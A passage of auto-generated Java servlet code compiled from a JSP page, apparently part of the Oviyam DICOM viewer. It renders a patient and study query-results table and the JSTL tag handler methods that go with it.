out.write("\t\t\t\t\tonclick=\"this.className='ui-state-default';toggleDivider(this);\"></div>\n");
out.write("\n");
out.write("\t\t\t\t<div id=\"searchToggler\" title=\"Hide Search\"\n");
out.write("\t\t\t\t\tclass=\"ui-state-default toggler\"\n");
out.write("\t\t\t\t\tonmouseover=\"this.className='ui-state-hover'\"\n");
out.write("\t\t\t\t\tonmouseout=\"this.className='ui-state-default'\"\n");
out.write("\t\t\t\t\tstyle=\"width: 24px; height: 24px; cursor: pointer; float: left; z-index: 3; background: url('images/hidesearch.png'); border: none;\"\n");
out.write("\t\t\t\t\tonclick=\"this.className='ui-state-default'; toggleSearch(this);\"></div>\n");
out.write("\t\t\t</div>\n");
out.write("\n");
out.write("\t\t\t");
if (_jspx_meth_c_005fchoose_005f1(_jspx_th_c_005fwhen_005f0, _jspx_page_context))
return;
out.write("\n");
out.write("\n");
out.write("\t\t");
int evalDoAfterBody = _jspx_th_c_005fwhen_005f0.doAfterBody();
if (evalDoAfterBody != javax.servlet.jsp.tagext.BodyTag.EVAL_BODY_AGAIN)
break;
} while (true);
}
if (_jspx_th_c_005fwhen_005f0.doEndTag() == javax.servlet.jsp.tagext.Tag.SKIP_PAGE) {
_005fjspx_005ftagPool_005fc_005fwhen_005ftest.reuse(_jspx_th_c_005fwhen_005f0);
return;
}
_005fjspx_005ftagPool_005fc_005fwhen_005ftest.reuse(_jspx_th_c_005fwhen_005f0);
out.write("\n");
out.write("\n");
out.write("\t\t");
if (_jspx_meth_c_005fotherwise_005f1(_jspx_th_c_005fchoose_005f0, _jspx_page_context))
return;
out.write('\n');
out.write(' ');
int evalDoAfterBody = _jspx_th_c_005fchoose_005f0.doAfterBody();
if (evalDoAfterBody != javax.servlet.jsp.tagext.BodyTag.EVAL_BODY_AGAIN)
break;
} while (true);
}
if (_jspx_th_c_005fchoose_005f0.doEndTag() == javax.servlet.jsp.tagext.Tag.SKIP_PAGE) {
_005fjspx_005ftagPool_005fc_005fchoose.reuse(_jspx_th_c_005fchoose_005f0);
return;
}
_005fjspx_005ftagPool_005fc_005fchoose.reuse(_jspx_th_c_005fchoose_005f0);
out.write("\n");
out.write("\n");
out.write("\t<table class=\"display\" id=\"");
out.print(tabName);
out.write("_table\" style=\"font-size: 14px;\">\n");
out.write("\n");
out.write("\t\t<thead>\n");
out.write("\t\t\t<tr>\n");
out.write("\t\t\t\t<th></th>\n");
out.write("\t\t\t\t<th>");
if (_jspx_meth_fmt_005fmessage_005f0(_jspx_page_context))
return;
out.write("</th>\n");
out.write("\t\t\t\t<th>");
if (_jspx_meth_fmt_005fmessage_005f1(_jspx_page_context))
return;
out.write("</th>\n");
out.write("\t\t\t\t<th>Gender</th>\n");
out.write("\t\t\t\t<!--<th>");
if (_jspx_meth_fmt_005fmessage_005f2(_jspx_page_context))
return;
out.write("</th>\n");
out.write("\t\t\t\t\t<th>");
if (_jspx_meth_fmt_005fmessage_005f3(_jspx_page_context))
return;
out.write("</th>-->\n");
out.write("\t\t\t\t<th>");
if (_jspx_meth_fmt_005fmessage_005f4(_jspx_page_context))
return;
out.write("</th>\n");
out.write("\t\t\t\t<th>");
if (_jspx_meth_fmt_005fmessage_005f5(_jspx_page_context))
return;
out.write("</th>\n");
out.write("\t\t\t\t<th>Modality</th>\n");
out.write("\t\t\t\t<th>");
if (_jspx_meth_fmt_005fmessage_005f6(_jspx_page_context))
return;
out.write("</th>\n");
out.write("\t\t\t\t<th>Study Instance UID</th>\n");
out.write("\t\t\t\t<th>Refer Physician</th>\n");
out.write("\t\t\t\t<th>Series Count</th>\n");
out.write("\n");
out.write("\t\t\t</tr>\n");
out.write("\t\t</thead>\n");
out.write("\t\t<tbody>\n");
out.write("\t\t\t");
// pat:Patient
in.raster.oviyam.handler.PatientInfoHandler _jspx_th_pat_005fPatient_005f0 = new in.raster.oviyam.handler.PatientInfoHandler();
org.apache.jasper.runtime.AnnotationHelper.postConstruct(_jsp_annotationprocessor, _jspx_th_pat_005fPatient_005f0);
_jspx_th_pat_005fPatient_005f0.setJspContext(_jspx_page_context);
// /queryResult.jsp(396,3) name = patientId type = null reqTime = true required = false fragment = false deferredValue = false expectedTypeName = null deferredMethod = false methodSignature = null
_jspx_th_pat_005fPatient_005f0.setPatientId((java.lang.String) org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate("${param.patientId}", java.lang.String.class, (PageContext)_jspx_page_context, null, false));
// /queryResult.jsp(396,3) name = patientName type = null reqTime = true required = false fragment = false deferredValue = false expectedTypeName = null deferredMethod = false methodSignature = null
_jspx_th_pat_005fPatient_005f0.setPatientName(patName);
// /queryResult.jsp(396,3) name = birthDate type = null reqTime = true required = false fragment = false deferredValue = false expectedTypeName = null deferredMethod = false methodSignature = null
_jspx_th_pat_005fPatient_005f0.setBirthDate((java.lang.String) org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate("${param.birthDate}", java.lang.String.class, (PageContext)_jspx_page_context, null, false));
// /queryResult.jsp(396,3) name = modality type = null reqTime = true required = false fragment = false deferredValue = false expectedTypeName = null deferredMethod = false methodSignature = null
_jspx_th_pat_005fPatient_005f0.setModality((java.lang.String) org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate("${param.modality}", java.lang.String.class, (PageContext)_jspx_page_context, null, false));
// /queryResult.jsp(396,3) name = from type = null reqTime = true required = false fragment = false deferredValue = false expectedTypeName = null deferredMethod = false methodSignature = null
_jspx_th_pat_005fPatient_005f0.setFrom((java.lang.String) org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate("${param.from}", java.lang.String.class, (PageContext)_jspx_page_context, null, false));
// /queryResult.jsp(396,3) name = to type = null reqTime = true required = false fragment = false deferredValue = false expectedTypeName = null deferredMethod = false methodSignature = null
_jspx_th_pat_005fPatient_005f0.setTo((java.lang.String) org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate("${param.to}", java.lang.String.class, (PageContext)_jspx_page_context, null, false));
// /queryResult.jsp(396,3) name = searchDays type = null reqTime = true required = false fragment = false deferredValue = false expectedTypeName = null deferredMethod = false methodSignature = null
_jspx_th_pat_005fPatient_005f0.setSearchDays((java.lang.String) org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate("${param.searchDays}", java.lang.String.class, (PageContext)_jspx_page_context, null, false));
// /queryResult.jsp(396,3) name = accessionNumber type = null reqTime = true required = false fragment = false deferredValue = false expectedTypeName = null deferredMethod = false methodSignature = null
_jspx_th_pat_005fPatient_005f0.setAccessionNumber((java.lang.String) org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate("${param.accessionNumber}", java.lang.String.class, (PageContext)_jspx_page_context, null, false));
// /queryResult.jsp(396,3) name = referPhysician type = null reqTime = true required = false fragment = false deferredValue = false expectedTypeName = null deferredMethod = false methodSignature = null
_jspx_th_pat_005fPatient_005f0.setReferPhysician((java.lang.String) org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate("${param.referPhysician}", java.lang.String.class, (PageContext)_jspx_page_context, null, false));
// /queryResult.jsp(396,3) name = studyDescription type = null reqTime = true required = false fragment = false deferredValue = false expectedTypeName = null deferredMethod = false methodSignature = null
_jspx_th_pat_005fPatient_005f0.setStudyDescription((java.lang.String) org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate("${param.studyDesc}", java.lang.String.class, (PageContext)_jspx_page_context, null, false));
// /queryResult.jsp(396,3) name = dcmURL type = null reqTime = true required = false fragment = false deferredValue = false expectedTypeName = null deferredMethod = false methodSignature = null
_jspx_th_pat_005fPatient_005f0.setDcmURL((java.lang.String) org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate("${param.dcmURL}", java.lang.String.class, (PageContext)_jspx_page_context, null, false));
// /queryResult.jsp(396,3) name = fromTime type = null reqTime = true required = false fragment = false deferredValue = false expectedTypeName = null deferredMethod = false methodSignature = null
_jspx_th_pat_005fPatient_005f0.setFromTime((java.lang.String) org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate("${param.fromTime}", java.lang.String.class, (PageContext)_jspx_page_context, null, false));
// /queryResult.jsp(396,3) name = toTime type = null reqTime = true required = false fragment = false deferredValue = false expectedTypeName = null deferredMethod = false methodSignature = null
_jspx_th_pat_005fPatient_005f0.setToTime((java.lang.String) org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate("${param.toTime}", java.lang.String.class, (PageContext)_jspx_page_context, null, false));
_jspx_th_pat_005fPatient_005f0.setJspBody(new queryResult_jspHelper( 0, _jspx_page_context, _jspx_th_pat_005fPatient_005f0, null));
_jspx_th_pat_005fPatient_005f0.doTag();
org.apache.jasper.runtime.AnnotationHelper.preDestroy(_jsp_annotationprocessor, _jspx_th_pat_005fPatient_005f0);
out.write("\n");
out.write("\t\t</tbody>\n");
out.write("\t</table>\n");
out.write("\t</div>\n");
out.write("</body>\n");
out.write("\n");
out.write("</html>");
} catch (Throwable t) {
if (!(t instanceof SkipPageException)){
out = _jspx_out;
if (out != null && out.getBufferSize() != 0)
try { out.clearBuffer(); } catch (java.io.IOException e) {}
if (_jspx_page_context != null) _jspx_page_context.handlePageException(t);
}
} finally {
_jspxFactory.releasePageContext(_jspx_page_context);
}
}
private boolean _jspx_meth_fmt_005fsetBundle_005f0(PageContext _jspx_page_context)
throws Throwable {
PageContext pageContext = _jspx_page_context;
JspWriter out = _jspx_page_context.getOut();
// fmt:setBundle
org.apache.taglibs.standard.tag.rt.fmt.SetBundleTag _jspx_th_fmt_005fsetBundle_005f0 = (org.apache.taglibs.standard.tag.rt.fmt.SetBundleTag) _005fjspx_005ftagPool_005ffmt_005fsetBundle_005fvar_005fbasename_005fnobody.get(org.apache.taglibs.standard.tag.rt.fmt.SetBundleTag.class);
_jspx_th_fmt_005fsetBundle_005f0.setPageContext(_jspx_page_context);
_jspx_th_fmt_005fsetBundle_005f0.setParent(null);
// /queryResult.jsp(66,0) name = basename type = null reqTime = true required = true fragment = false deferredValue = false expectedTypeName = null deferredMethod = false methodSignature = null
_jspx_th_fmt_005fsetBundle_005f0.setBasename("resources.i18n.Messages");
// /queryResult.jsp(66,0) name = var type = java.lang.String reqTime = false required = false fragment = false deferredValue = false expectedTypeName = null deferredMethod = false methodSignature = null
_jspx_th_fmt_005fsetBundle_005f0.setVar("lang");
int _jspx_eval_fmt_005fsetBundle_005f0 = _jspx_th_fmt_005fsetBundle_005f0.doStartTag();
if (_jspx_th_fmt_005fsetBundle_005f0.doEndTag() == javax.servlet.jsp.tagext.Tag.SKIP_PAGE) {
_005fjspx_005ftagPool_005ffmt_005fsetBundle_005fvar_005fbasename_005fnobody.reuse(_jspx_th_fmt_005fsetBundle_005f0);
return true;
}
_005fjspx_005ftagPool_005ffmt_005fsetBundle_005fvar_005fbasename_005fnobody.reuse(_jspx_th_fmt_005fsetBundle_005f0);
return false;
}
private boolean _jspx_meth_c_005fchoose_005f1(javax.servlet.jsp.tagext.JspTag _jspx_th_c_005fwhen_005f0, PageContext _jspx_page_context)
throws Throwable {
PageContext pageContext = _jspx_page_context;
JspWriter out = _jspx_page_context.getOut();
// c:choose
org.apache.taglibs.standard.tag.common.core.ChooseTag _jspx_th_c_005fchoose_005f1 = (org.apache.taglibs.standard.tag.common.core.ChooseTag) _005fjspx_005ftagPool_005fc_005fchoose.get(org.apache.taglibs.standard.tag.common.core.ChooseTag.class);
_jspx_th_c_005fchoose_005f1.setPageContext(_jspx_page_context);
_jspx_th_c_005fchoose_005f1.setParent((javax.servlet.jsp.tagext.Tag) _jspx_th_c_005fwhen_005f0);
int _jspx_eval_c_005fchoose_005f1 = _jspx_th_c_005fchoose_005f1.doStartTag();
if (_jspx_eval_c_005fchoose_005f1 != javax.servlet.jsp.tagext.Tag.SKIP_BODY) {
do {
out.write("\n");
out.write("\t\t\t\t");
if (_jspx_meth_c_005fwhen_005f1(_jspx_th_c_005fchoose_005f1, _jspx_page_context))
return true;
out.write("\n");
out.write("\n");
out.write("\t\t\t\t");
if (_jspx_meth_c_005fotherwise_005f0(_jspx_th_c_005fchoose_005f1, _jspx_page_context))
return true;
out.write("\n");
out.write("\n");
out.write("\t\t\t");
int evalDoAfterBody = _jspx_th_c_005fchoose_005f1.doAfterBody();
if (evalDoAfterBody != javax.servlet.jsp.tagext.BodyTag.EVAL_BODY_AGAIN)
break;
} while (true);
}
if (_jspx_th_c_005fchoose_005f1.doEndTag() == javax.servlet.jsp.tagext.Tag.SKIP_PAGE) {
_005fjspx_005ftagPool_005fc_005fchoose.reuse(_jspx_th_c_005fchoose_005f1);
return true;
}
_005fjspx_005ftagPool_005fc_005fchoose.reuse(_jspx_th_c_005fchoose_005f1);
return false;
}
private boolean _jspx_meth_c_005fwhen_005f1(javax.servlet.jsp.tagext.JspTag _jspx_th_c_005fchoose_005f1, PageContext _jspx_page_context)
throws Throwable {
PageContext pageContext = _jspx_page_context;
JspWriter out = _jspx_page_context.getOut();
// c:when
org.apache.taglibs.standard.tag.rt.core.WhenTag _jspx_th_c_005fwhen_005f1 = (org.apache.taglibs.standard.tag.rt.core.WhenTag) _005fjspx_005ftagPool_005fc_005fwhen_005ftest.get(org.apache.taglibs.standard.tag.rt.core.WhenTag.class);
_jspx_th_c_005fwhen_005f1.setPageContext(_jspx_page_context);
_jspx_th_c_005fwhen_005f1.setParent((javax.servlet.jsp.tagext.Tag) _jspx_th_c_005fchoose_005f1);
// /queryResult.jsp(356,4) name = test type = boolean reqTime = true required = true fragment = false deferredValue = false expectedTypeName = null deferredMethod = false methodSignature = null
_jspx_th_c_005fwhen_005f1.setTest(((java.lang.Boolean) org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate("${param.search=='true'}", java.lang.Boolean.class, (PageContext)_jspx_page_context, null, false)).booleanValue());
int _jspx_eval_c_005fwhen_005f1 = _jspx_th_c_005fwhen_005f1.doStartTag();
if (_jspx_eval_c_005fwhen_005f1 != javax.servlet.jsp.tagext.Tag.SKIP_BODY) {
do {
out.write("\n");
out.write("\t\t\t\t\t<div\n");
out.write("\t\t\t\t\t\tstyle=\"float: left; height: 84%; position: absolute; top: 13%; left: 257px; right: 0px; bottom: 0px; padding: 0px'\">\n");
out.write("\t\t\t\t");
int evalDoAfterBody = _jspx_th_c_005fwhen_005f1.doAfterBody();
if (evalDoAfterBody != javax.servlet.jsp.tagext.BodyTag.EVAL_BODY_AGAIN)
break;
} while (true);
}
if (_jspx_th_c_005fwhen_005f1.doEndTag() == javax.servlet.jsp.tagext.Tag.SKIP_PAGE) {
_005fjspx_005ftagPool_005fc_005fwhen_005ftest.reuse(_jspx_th_c_005fwhen_005f1);
return true;
}
_005fjspx_005ftagPool_005fc_005fwhen_005ftest.reuse(_jspx_th_c_005fwhen_005f1);
return false;
}
private boolean _jspx_meth_c_005fotherwise_005f0(javax.servlet.jsp.tagext.JspTag _jspx_th_c_005fchoose_005f1, PageContext _jspx_page_context)
throws Throwable {
PageContext pageContext = _jspx_page_context;
JspWriter out = _jspx_page_context.getOut();
// c:otherwise
org.apache.taglibs.standard.tag.common.core.OtherwiseTag _jspx_th_c_005fotherwise_005f0 = (org.apache.taglibs.standard.tag.common.core.OtherwiseTag) _005fjspx_005ftagPool_005fc_005fotherwise.get(org.apache.taglibs.standard.tag.common.core.OtherwiseTag.class);
_jspx_th_c_005fotherwise_005f0.setPageContext(_jspx_page_context);
_jspx_th_c_005fotherwise_005f0.setParent((javax.servlet.jsp.tagext.Tag) _jspx_th_c_005fchoose_005f1);
int _jspx_eval_c_005fotherwise_005f0 = _jspx_th_c_005fotherwise_005f0.doStartTag();
if (_jspx_eval_c_005fotherwise_005f0 != javax.servlet.jsp.tagext.Tag.SKIP_BODY) {
do {
out.write("\n");
out.write("\t\t\t\t\t<div\n");
out.write("\t\t\t\t\t\tstyle=\"float: left; height: 100%; position: absolute; top: 0px; left: 257px; right: 0px; bottom: 0px; padding: 0px'\">\n");
out.write("\t\t\t\t");
int evalDoAfterBody = _jspx_th_c_005fotherwise_005f0.doAfterBody();
if (evalDoAfterBody != javax.servlet.jsp.tagext.BodyTag.EVAL_BODY_AGAIN)
break;
} while (true);
}
if (_jspx_th_c_005fotherwise_005f0.doEndTag() == javax.servlet.jsp.tagext.Tag.SKIP_PAGE) {
_005fjspx_005ftagPool_005fc_005fotherwise.reuse(_jspx_th_c_005fotherwise_005f0);
return true;
}
_005fjspx_005ftagPool_005fc_005fotherwise.reuse(_jspx_th_c_005fotherwise_005f0);
return false;
}
private boolean _jspx_meth_c_005fotherwise_005f1(javax.servlet.jsp.tagext.JspTag _jspx_th_c_005fchoose_005f0, PageContext _jspx_page_context)
throws Throwable {
PageContext pageContext = _jspx_page_context;
JspWriter out = _jspx_page_context.getOut();
// c:otherwise
org.apache.taglibs.standard.tag.common.core.OtherwiseTag _jspx_th_c_005fotherwise_005f1 = (org.apache.taglibs.standard.tag.common.core.OtherwiseTag) _005fjspx_005ftagPool_005fc_005fotherwise.get(org.apache.taglibs.standard.tag.common.core.OtherwiseTag.class);
_jspx_th_c_005fotherwise_005f1.setPageContext(_jspx_page_context);
_jspx_th_c_005fotherwise_005f1.setParent((javax.servlet.jsp.tagext.Tag) _jspx_th_c_005fchoose_005f0);
int _jspx_eval_c_005fotherwise_005f1 = _jspx_th_c_005fotherwise_005f1.doStartTag();
if (_jspx_eval_c_005fotherwise_005f1 != javax.servlet.jsp.tagext.Tag.SKIP_BODY) {
do {
out.write("\n");
out.write("\t\t\t<div style=\"float: left; width: 100%; padding: 0px'\">\n");
out.write("\t\t");
int evalDoAfterBody = _jspx_th_c_005fotherwise_005f1.doAfterBody();
if (evalDoAfterBody != javax.servlet.jsp.tagext.BodyTag.EVAL_BODY_AGAIN)
break;
} while (true);
}
if (_jspx_th_c_005fotherwise_005f1.doEndTag() == javax.servlet.jsp.tagext.Tag.SKIP_PAGE) {
_005fjspx_005ftagPool_005fc_005fotherwise.reuse(_jspx_th_c_005fotherwise_005f1);
return true;
}
_005fjspx_005ftagPool_005fc_005fotherwise.reuse(_jspx_th_c_005fotherwise_005f1);
return false;
}
private boolean _jspx_meth_fmt_005fmessage_005f0(PageContext _jspx_page_context)
throws Throwable {
PageContext pageContext = _jspx_page_context;
JspWriter out = _jspx_page_context.getOut();
// fmt:message
org.apache.taglibs.standard.tag.rt.fmt.MessageTag _jspx_th_fmt_005fmessage_005f0 = (org.apache.taglibs.standard.tag.rt.fmt.MessageTag) _005fjspx_005ftagPool_005ffmt_005fmessage_005fkey_005fbundle_005fnobody.get(org.apache.taglibs.standard.tag.rt.fmt.MessageTag.class);
_jspx_th_fmt_005fmessage_005f0.setPageContext(_jspx_page_context);
_jspx_th_fmt_005fmessage_005f0.setParent(null);
// /queryResult.jsp(380,8) name = key type = null reqTime = true required = false fragment = false deferredValue = false expectedTypeName = null deferredMethod = false methodSignature = null
_jspx_th_fmt_005fmessage_005f0.setKey("patientID");
// /queryResult.jsp(380,8) name = bundle type = null reqTime = true required = false fragment = false deferredValue = false expectedTypeName = null deferredMethod = false methodSignature = null
_jspx_th_fmt_005fmessage_005f0.setBundle((javax.servlet.jsp.jstl.fmt.LocalizationContext) org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate("${lang}", javax.servlet.jsp.jstl.fmt.LocalizationContext.class, (PageContext)_jspx_page_context, null, false));
int _jspx_eval_fmt_005fmessage_005f0 = _jspx_th_fmt_005fmessage_005f0.doStartTag();
if (_jspx_th_fmt_005fmessage_005f0.doEndTag() == javax.servlet.jsp.tagext.Tag.SKIP_PAGE) {
_005fjspx_005ftagPool_005ffmt_005fmessage_005fkey_005fbundle_005fnobody.reuse(_jspx_th_fmt_005fmessage_005f0);
return true;
}
_005fjspx_005ftagPool_005ffmt_005fmessage_005fkey_005fbundle_005fnobody.reuse(_jspx_th_fmt_005fmessage_005f0);
return false;
}
private boolean _jspx_meth_fmt_005fmessage_005f1(PageContext _jspx_page_context)
throws Throwable {
PageContext pageContext = _jspx_page_context;
JspWriter out = _jspx_page_context.getOut();
// fmt:message
org.apache.taglibs.standard.tag.rt.fmt.MessageTag _jspx_th_fmt_005fmessage_005f1 = (org.apache.taglibs.standard.tag.rt.fmt.MessageTag) _005fjspx_005ftagPool_005ffmt_005fmessage_005fkey_005fbundle_005fnobody.get(org.apache.taglibs.standard.tag.rt.fmt.MessageTag.class);
_jspx_th_fmt_005fmessage_005f1.setPageContext(_jspx_page_context);
_jspx_th_fmt_005fmessage_005f1.setParent(null);
// /queryResult.jsp(381,8) name = key type = null reqTime = true required = false fragment = false deferredValue = false expectedTypeName = null deferredMethod = false methodSignature = null
_jspx_th_fmt_005fmessage_005f1.setKey("patientName");
// /queryResult.jsp(381,8) name = bundle type = null reqTime = true required = false fragment = false deferredValue = false expectedTypeName = null deferredMethod = false methodSignature = null
_jspx_th_fmt_005fmessage_005f1.setBundle((javax.servlet.jsp.jstl.fmt.LocalizationContext) org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate("${lang}", javax.servlet.jsp.jstl.fmt.LocalizationContext.class, (PageContext)_jspx_page_context, null, false));
int _jspx_eval_fmt_005fmessage_005f1 = _jspx_th_fmt_005fmessage_005f1.doStartTag();
if (_jspx_th_fmt_005fmessage_005f1.doEndTag() == javax.servlet.jsp.tagext.Tag.SKIP_PAGE) {
_005fjspx_005ftagPool_005ffmt_005fmessage_005fkey_005fbundle_005fnobody.reuse(_jspx_th_fmt_005fmessage_005f1);
return true;
}
_005fjspx_005ftagPool_005ffmt_005fmessage_005fkey_005fbundle_005fnobody.reuse(_jspx_th_fmt_005fmessage_005f1);
return false;
}
private boolean _jspx_meth_fmt_005fmessage_005f2(PageContext _jspx_page_context)
throws Throwable {
PageContext pageContext = _jspx_page_context;
JspWriter out = _jspx_page_context.getOut();
// fmt:message
org.apache.taglibs.standard.tag.rt.fmt.MessageTag _jspx_th_fmt_005fmessage_005f2 = (org.apache.taglibs.standard.tag.rt.fmt.MessageTag) _005fjspx_005ftagPool_005ffmt_005fmessage_005fkey_005fbundle_005fnobody.get(org.apache.taglibs.standard.tag.rt.fmt.MessageTag.class);
_jspx_th_fmt_005fmessage_005f2.setPageContext(_jspx_page_context);
_jspx_th_fmt_005fmessage_005f2.setParent(null);
// /queryResult.jsp(383,12) name = key type = null reqTime = true required = false fragment = false deferredValue = false expectedTypeName = null deferredMethod = false methodSignature = null
_jspx_th_fmt_005fmessage_005f2.setKey("dateOfBirth");
// /queryResult.jsp(383,12) name = bundle type = null reqTime = true required = false fragment = false deferredValue = false expectedTypeName = null deferredMethod = false methodSignature = null
_jspx_th_fmt_005fmessage_005f2.setBundle((javax.servlet.jsp.jstl.fmt.LocalizationContext) org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate("${lang}", javax.servlet.jsp.jstl.fmt.LocalizationContext.class, (PageContext)_jspx_page_context, null, false));
int _jspx_eval_fmt_005fmessage_005f2 = _jspx_th_fmt_005fmessage_005f2.doStartTag();
if (_jspx_th_fmt_005fmessage_005f2.doEndTag() == javax.servlet.jsp.tagext.Tag.SKIP_PAGE) {
_005fjspx_005ftagPool_005ffmt_005fmessage_005fkey_005fbundle_005fnobody.reuse(_jspx_th_fmt_005fmessage_005f2);
return true;
}
_005fjspx_005ftagPool_005ffmt_005fmessage_005fkey_005fbundle_005fnobody.reuse(_jspx_th_fmt_005fmessage_005f2);
return false;
}
private boolean _jspx_meth_fmt_005fmessage_005f3(PageContext _jspx_page_context)
throws Throwable {
PageContext pageContext = _jspx_page_context;
JspWriter out = _jspx_page_context.getOut();
// fmt:message
org.apache.taglibs.standard.tag.rt.fmt.MessageTag _jspx_th_fmt_005fmessage_005f3 = (org.apache.taglibs.standard.tag.rt.fmt.MessageTag) _005fjspx_005ftagPool_005ffmt_005fmessage_005fkey_005fbundle_005fnobody.get(org.apache.taglibs.standard.tag.rt.fmt.MessageTag.class);
_jspx_th_fmt_005fmessage_005f3.setPageContext(_jspx_page_context);
_jspx_th_fmt_005fmessage_005f3.setParent(null);
// /queryResult.jsp(384,9) name = key type = null reqTime = true required = false fragment = false deferredValue = false expectedTypeName = null deferredMethod = false methodSignature = null
_jspx_th_fmt_005fmessage_005f3.setKey("accessionNumber");
// /queryResult.jsp(384,9) name = bundle type = null reqTime = true required = false fragment = false deferredValue = false expectedTypeName = null deferredMethod = false methodSignature = null
_jspx_th_fmt_005fmessage_005f3.setBundle((javax.servlet.jsp.jstl.fmt.LocalizationContext) org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate("${lang}", javax.servlet.jsp.jstl.fmt.LocalizationContext.class, (PageContext)_jspx_page_context, null, false));
int _jspx_eval_fmt_005fmessage_005f3 = _jspx_th_fmt_005fmessage_005f3.doStartTag();
if (_jspx_th_fmt_005fmessage_005f3.doEndTag() == javax.servlet.jsp.tagext.Tag.SKIP_PAGE) {
_005fjspx_005ftagPool_005ffmt_005fmessage_005fkey_005fbundle_005fnobody.reuse(_jspx_th_fmt_005fmessage_005f3);
return true;
}
_005fjspx_005ftagPool_005ffmt_005fmessage_005fkey_005fbundle_005fnobody.reuse(_jspx_th_fmt_005fmessage_005f3);
return false;
}
private boolean _jspx_meth_fmt_005fmessage_005f4(PageContext _jspx_page_context)
throws Throwable {
PageContext pageContext = _jspx_page_context;
JspWriter out = _jspx_page_context.getOut();
// fmt:message
org.apache.taglibs.standard.tag.rt.fmt.MessageTag _jspx_th_fmt_005fmessage_005f4 = (org.apache.taglibs.standard.tag.rt.fmt.MessageTag) _005fjspx_005ftagPool_005ffmt_005fmessage_005fkey_005fbundle_005fnobody.get(org.apache.taglibs.standard.tag.rt.fmt.MessageTag.class);
_jspx_th_fmt_005fmessage_005f4.setPageContext(_jspx_page_context);
_jspx_th_fmt_005fmessage_005f4.setParent(null);
// /queryResult.jsp(385,8) name = key type = null reqTime = true required = false fragment = false deferredValue = false expectedTypeName = null deferredMethod = false methodSignature = null
_jspx_th_fmt_005fmessage_005f4.setKey("studyDate");
// /queryResult.jsp(385,8) name = bundle type = null reqTime = true required = false fragment = false deferredValue = false expectedTypeName = null deferredMethod = false methodSignature = null
_jspx_th_fmt_005fmessage_005f4.setBundle((javax.servlet.jsp.jstl.fmt.LocalizationContext) org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate("${lang}", javax.servlet.jsp.jstl.fmt.LocalizationContext.class, (PageContext)_jspx_page_context, null, false));
int _jspx_eval_fmt_005fmessage_005f4 = _jspx_th_fmt_005fmessage_005f4.doStartTag();
if (_jspx_th_fmt_005fmessage_005f4.doEndTag() == javax.servlet.jsp.tagext.Tag.SKIP_PAGE) {
_005fjspx_005ftagPool_005ffmt_005fmessage_005fkey_005fbundle_005fnobody.reuse(_jspx_th_fmt_005fmessage_005f4);
return true;
}
_005fjspx_005ftagPool_005ffmt_005fmessage_005fkey_005fbundle_005fnobody.reuse(_jspx_th_fmt_005fmessage_005f4);
return false;
}
private boolean _jspx_meth_fmt_005fmessage_005f5(PageContext _jspx_page_context)
throws Throwable {
PageContext pageContext = _jspx_page_context;
JspWriter out = _jspx_page_context.getOut();
// fmt:message
org.apache.taglibs.standard.tag.rt.fmt.MessageTag _jspx_th_fmt_005fmessage_005f5 = (org.apache.taglibs.standard.tag.rt.fmt.MessageTag) _005fjspx_005ftagPool_005ffmt_005fmessage_005fkey_005fbundle_005fnobody.get(org.apache.taglibs.standard.tag.rt.fmt.MessageTag.class);
_jspx_th_fmt_005fmessage_005f5.setPageContext(_jspx_page_context);
_jspx_th_fmt_005fmessage_005f5.setParent(null);
// /queryResult.jsp(386,8) name = key type = null reqTime = true required = false fragment = false deferredValue = false expectedTypeName = null deferredMethod = false methodSignature = null
_jspx_th_fmt_005fmessage_005f5.setKey("studyDescription");
// /queryResult.jsp(386,8) name = bundle type = null reqTime = true required = false fragment = false deferredValue = false expectedTypeName = null deferredMethod = false methodSignature = null
_jspx_th_fmt_005fmessage_005f5.setBundle((javax.servlet.jsp.jstl.fmt.LocalizationContext) org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate("${lang}", javax.servlet.jsp.jstl.fmt.LocalizationContext.class, (PageContext)_jspx_page_context, null, false));
int _jspx_eval_fmt_005fmessage_005f5 = _jspx_th_fmt_005fmessage_005f5.doStartTag();
if (_jspx_th_fmt_005fmessage_005f5.doEndTag() == javax.servlet.jsp.tagext.Tag.SKIP_PAGE) {
_005fjspx_005ftagPool_005ffmt_005fmessage_005fkey_005fbundle_005fnobody.reuse(_jspx_th_fmt_005fmessage_005f5);
return true;
}
_005fjspx_005ftagPool_005ffmt_005fmessage_005fkey_005fbundle_005fnobody.reuse(_jspx_th_fmt_005fmessage_005f5);
return false;
}
private boolean _jspx_meth_fmt_005fmessage_005f6(PageContext _jspx_page_context)
throws Throwable {
PageContext pageContext = _jspx_page_context;
JspWriter out = _jspx_page_context.getOut();
// fmt:message
org.apache.taglibs.standard.tag.rt.fmt.MessageTag _jspx_th_fmt_005fmessage_005f6 = (org.apache.taglibs.standard.tag.rt.fmt.MessageTag) _005fjspx_005ftagPool_005ffmt_005fmessage_005fkey_005fbundle_005fnobody.get(org.apache.taglibs.standard.tag.rt.fmt.MessageTag.class);
_jspx_th_fmt_005fmessage_005f6.setPageContext(_jspx_page_context);
_jspx_th_fmt_005fmessage_005f6.setParent(null);
// /queryResult.jsp(388,8) name = key type = null reqTime = true required = false fragment = false deferredValue = false expectedTypeName = null deferredMethod = false methodSignature = null
_jspx_th_fmt_005fmessage_005f6.setKey("instanceCount");
// /queryResult.jsp(388,8) name = bundle type = null reqTime = true required = false fragment = false deferredValue = false expectedTypeName = null deferredMethod = false methodSignature = null
